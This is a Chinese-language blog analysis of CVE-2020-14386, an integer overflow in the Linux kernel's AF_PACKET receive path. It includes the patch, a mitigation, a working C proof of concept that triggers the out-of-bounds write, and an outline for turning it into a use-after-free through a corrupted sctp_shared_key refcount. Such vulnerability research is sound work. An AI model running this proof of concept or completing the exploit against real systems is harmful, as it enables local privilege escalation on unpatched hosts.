Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

【分析】CVE-2020-14386

Linux 内核 AF_PACKET 原生套接字漏洞。

参考文章:

https://paper.seebug.org/1348/

https://unit42.paloaltonetworks.com/cve-2020-14386/

1 漏洞简介

Linux内核AF_PACKET原生套接字内存破坏漏洞。根据细节描述,该漏洞出现在net/packet/af_packet.c中,由整数溢出导致越界写,可以通过它进行权限提升。

该漏洞影响Linux发行版高于4.6的内核版本,包括:

  • Ubuntu Bionic (18.04) and newer
  • Debian 9
  • Debian 10
  • CentOS 8/RHEL 8

Patch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index da8254e680f94..2b33e977a9059 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -2170,7 +2170,8 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
int skb_len = skb->len;
unsigned int snaplen, res;
unsigned long status = TP_STATUS_USER;
- unsigned short macoff, netoff, hdrlen;
+ unsigned short macoff, hdrlen;
+ unsigned int netoff;
struct sk_buff *copy_skb = NULL;
struct timespec64 ts;
__u32 ts_status;
@@ -2239,6 +2240,10 @@ static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
}
macoff = netoff - maclen;
}
+ if (netoff > USHRT_MAX) {
+ atomic_inc(&po->tp_drops);
+ goto drop_n_restore;
+ }
if (po->tp_version <= TPACKET_V2) {
if (macoff + snaplen > po->rx_ring.frame_size) {
if (po->copy_thresh &&

关闭CAP_NET_RAW功能(针对RHEL8),具体关闭步骤如下:

1
2
echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
sysctl -p /etc/sysctl.d/userns.conf

针对一些受影响的容器产品,同样采取关闭CAP_NET_RAW功能进行缓解:
Kubernetes Pod安全策略:配置Pod安全策略以删除运行容器中的CAP_NET_RAW功能,参考链接:https://cloud.google.com/kubernetes-engine/docs/security-bulletins

2 相关概念

2.1 AF_PACKET套接字

网络协议栈中,原始套接字是一个特殊的套接字类型,从实现上可以分为两类,一类为链路层原始套接字;另一类为网络层原始套接字。链路层原始套接字可直接用于接收和发送链路层的MAC帧,在发送时需要调用者自行构造和封装MAC首部。链路层原始套接字调用socket()函数创建。第一个参数指定地址簇类型为AF_PACKET,第二个参数套接字类型为SOCK_RAW或SOCK_DGRAM,当类型指定为SOCK_RAW时,套接字接收和发送的数据都是从MAC首部开始的。在发送时需要由调用者从MAC首部开始构造和封装报文数据。

2.2 PACKET_MMAP

仅依靠AF_PACKET过滤数据包是非常低效的,内核又提供了PACKET_MMAP支持。PACKET_MMAP在内核空间中分配一块环形内核缓冲区,用户空间通过mmap将该内核缓冲区映射出来。收到的数据包拷贝到环形内核缓冲区中,用户层可以直接操作数据,通过内核空间和用户空间共享的缓冲区起到减少数据拷贝的作用,提高处理效率。

2.3 PACKET_MMAP的实现

通过setsockopt()函数设置环形缓冲区,option参数设置为PACKET_RX_RING或PACKET_TX_RING。为了方便内核与用户层管理和交互环形缓冲区中的数据帧,内核定义了TPACKET_HEADER结构体,该结构体存储着一些元信息如套接字地址信息、时间戳以及环形缓冲区管理信息等。如果通过setsockopt()函数设置了PACKET_VNET_HDR选项,还需添加一个virtio_net_hdr结构体。一个数据帧包含两个部分,第一部分为TPACKET_HEADER,第二部分为Data,而且要保证页面对齐,详细构造可见下列代码的注释部分。

目前TPACKET_HEADER存在三个版本,每个版本长度略有不同。对于v1和v2,收发环形缓冲区用tpacket_req结构体管理,该结构体包含四个数据域:分别为内存块的大小和数量、每个数据帧的大小和数据帧总数。如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
Frame structure:

- Start. Frame must be aligned to TPACKET_ALIGNMENT=16
- struct tpacket_hdr
- pad to TPACKET_ALIGNMENT=16
- struct sockaddr_ll
- Gap, chosen so that packet data (Start+tp_net) alignes to TPACKET_ALIGNMENT=16
- Start+tp_mac: [ Optional MAC header ]
- Start+tp_net: Packet data, aligned to TPACKET_ALIGNMENT=16.
- Pad to align to TPACKET_ALIGNMENT=16
*/

struct tpacket_req {
unsigned int tp_block_size; /* Minimal size of contiguous block */
unsigned int tp_block_nr; /* Number of blocks */
unsigned int tp_frame_size; /* Size of frame */
unsigned int tp_frame_nr; /* Total number of frames */
};

捕获的frame被划分为多个block,每个block是一块物理上连续的内存区域,有tp_block_size/tp_frame_size个frame,block的总数是tp_block_nr。例如,tp_block_size = 4096,tp_frame_size = 2048,tp_block_nr = 4,tp_frame_nr = 8。

每个frame必须放在一个block中,每个block保存整数个frame,也就是说一个frame不能跨越两个block。在用户层映射环形缓冲区可以直接使用mmap()函数。虽然环形缓冲区在内核中是由多个block组成的,但是映射后它们在用户空间中是连续的。

3 漏洞分析

该漏洞具体出现在tpacket_rcv()函数中,该函数是基于PACKET_MMAP的数据包接收函数。具体功能实现如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (sk->sk_type == SOCK_DGRAM) { // af_packet.c#L2226
macoff = netoff = TPACKET_ALIGN(po->tp_hdrlen) + 16 +
po->tp_reserve;
} else {
unsigned int maclen = skb_network_offset(skb); // 2230
netoff = TPACKET_ALIGN(po->tp_hdrlen +
(maclen < 16 ? 16 : maclen)) +
po->tp_reserve;
if (po->has_vnet_hdr) { // 2234
netoff += sizeof(struct virtio_net_hdr);
do_vnet = true;
}
macoff = netoff - maclen; // else为SOCK_RAW,自行构造MAC
}

行2226到行2228,如果sk_type为SOCK_DGRAM,表示不需要自行构造MAC首部,由内核填充,则macoff等于netoff,大小为TPACKET_ALIGN(tp_hdr_len) + 16 + tp_reserve。如果sk_type为SOCK_RAW,则进入行2230,表示需要自行构造MAC首部。行2231到行2233,首先计算netoff,大小为TPACKET_ALIGN(tp_hdrlen +(maclen < 16 ? 16 : maclen)) + tp_reserve。行2234到行2237,如果设置了PACKET_VNET_HDR选项,还需加上一个virtio_net_hdr结构体的大小,然后设置do_vnet为真。行2238,计算macoff。

由于macoff、netoff以及maclen被定义为unsigned short类型,最大值为0xffff。而tp_reserve被定义为unsigned int类型,最大值为0xffffffff,而且大小可以通过setsockopt()函数进行设置,如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
case PACKET_RESERVE:
{
unsigned int val;

if (optlen != sizeof(val))
return -EINVAL;
if (copy_from_user(&val, optval, sizeof(val)))
return -EFAULT;
if (val > INT_MAX)
return -EINVAL;
lock_sock(sk);
if (po->rx_ring.pg_vec || po->tx_ring.pg_vec) {
ret = -EBUSY;
} else {
po->tp_reserve = val; // 设置tp_reserve
ret = 0;
}
release_sock(sk);
return ret;
}

因此,在行2233计算netoff时,可以通过控制tp_reserve造成整数溢出,进而计算出错误的macoff。当执行到如下代码时:

1
2
3
4
5
if (do_vnet &&
virtio_net_hdr_from_skb(skb, h.raw + macoff - // 2287
sizeof(struct virtio_net_hdr),
vio_le(), true, 0))
goto drop_n_account;

行2287,调用virtio_net_hdr_from_skb()函数从sk_buff中拷贝数据,该函数第二个参数为h.raw + macoff – sizeof(struct virtio_net_hdr),h.raw为tpacket_rcv_uhdr类型的指针,指向环形缓冲区的frame,由于macoff是可控的,可以让maoff小于sizeof(struct virtio_net_hdr),导致向前越界写,最多可写入sizeof(struct virtio_net_hdr)个字节。

4 PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#define _GNU_SOURCE

#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdbool.h>
#include <stdarg.h>
#include <net/if.h>
#include <stdint.h>


bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);

int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}

void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();

if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}

if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}

if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}

cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}

if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}

}

void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;

if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}

void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}

packet_socket_send(s, buffer, size);
}

int main() {
setup_sandbox();

int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) );
if (s < 0)
{
perror("socket\n");
return 1;
}

int v = TPACKET_V2;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0)
{
perror("setsockopt(PACKET_VERSION)\n");
return 1;
}

v = 1;
rv = setsockopt(s, SOL_PACKET, PACKET_VNET_HDR, &v, sizeof(v));
if (rv < 0)
{
perror("setsockopt(PACKET_VNET_HDR)\n");
return 1;
}

v = 0xffff - 20 - 0x30 -7;
rv = setsockopt(s, SOL_PACKET, PACKET_RESERVE, &v, sizeof(v));
if (rv < 0)
{
perror("setsockopt(PACKET_RESERVE)\n");
return 1;
}

struct tpacket_req req;
memset(&req, 0, sizeof(req));
req.tp_block_size = 0x800000;
req.tp_frame_size = 0x11000;
req.tp_block_nr = 1;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}

struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;

rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}

uint32_t size = 0x80000/8;
char* buf = malloc(size);
if(!buf)
{
perror("malloc\n");
exit(EXIT_FAILURE);
}
memset(buf,0xce,size);
loopback_send(buf,size);

return 0;
}

5 Exploit 思路

5.1 原语

通过控制macoff的值,可以在环形缓冲区最多偏移10个字节的空间处初始化virtio_net_hdr。virtio_net_hdr_from_skb函数首先会将整个结构体置零,然后根据skb结构,初始化其中的某些字段。

1
2
3
4
5
6
7
8
9
10
11
12
static inline int virtio_net_hdr_from_skb(const struct sk_buff *skb,
struct virtio_net_hdr *hdr,
bool little_endian,
bool has_data_valid,
int vlan_hlen)
{
memset(hdr, 0, sizeof(*hdr)); /* no info leak */

if (skb_is_gso(skb)) {
// ...
if (skb->ip_summed == CHECKSUM_PARTIAL) {
// ...

然而,我们可以通过设置skb,使得只有\0会被写入结构体中,这样我们就可以在__get_free_pages分配的空间后清空1-10个字节。此时如果不执行任何堆控制策略,内核将马上崩溃。

5.2 利用思路

利用的思路是将原语变为UAF,为了达到这个目的,考虑将一些对象的引用计数减少,例如,一个对象的引用计数是0x10001。如果发生了前向溢出,引用计数将会变为1,再经历一次释放后,对象将会被free。但为了使其发生,需要满足下列条件:

  • refcount需要在对象的最后1~10字节
  • 需要对象被分配在页的末尾:
    • 因为get_free_pages返回页对齐的地址

经过分析,下面这个对象满足条件:

1
2
3
4
5
6
7
struct sctp_shared_key {
struct list_head key_list;
struct sctp_auth_bytes *key;
refcount_t refcnt;
__u16 key_id;
__u8 deactivated;
};

看起来这个对象满足我们的条件限制:

  • 我们可以在非特权用户上下文中创建一个sctp server和client
    • 对象在sctp_auth_shkey_create函数中创建
  • 我们可以在页的末尾分配对象:
    • 对象大小为32字节,通过kmalloc分配,意味着它使用kmalloc-32
      • 因为4096 % 32 = 0,所以在slab页的末尾没有空闲的空间,最后一个对象会正好在我们分配的空间前面。其他slab cache不一定合适,如96字节
  • 我们可以覆盖refcount的最高两字节
    • 编译后,key_id和deactivated都占4字节
    • 如果我们利用bug越界写9~10字节,我们可以覆盖refcnt的1~2字节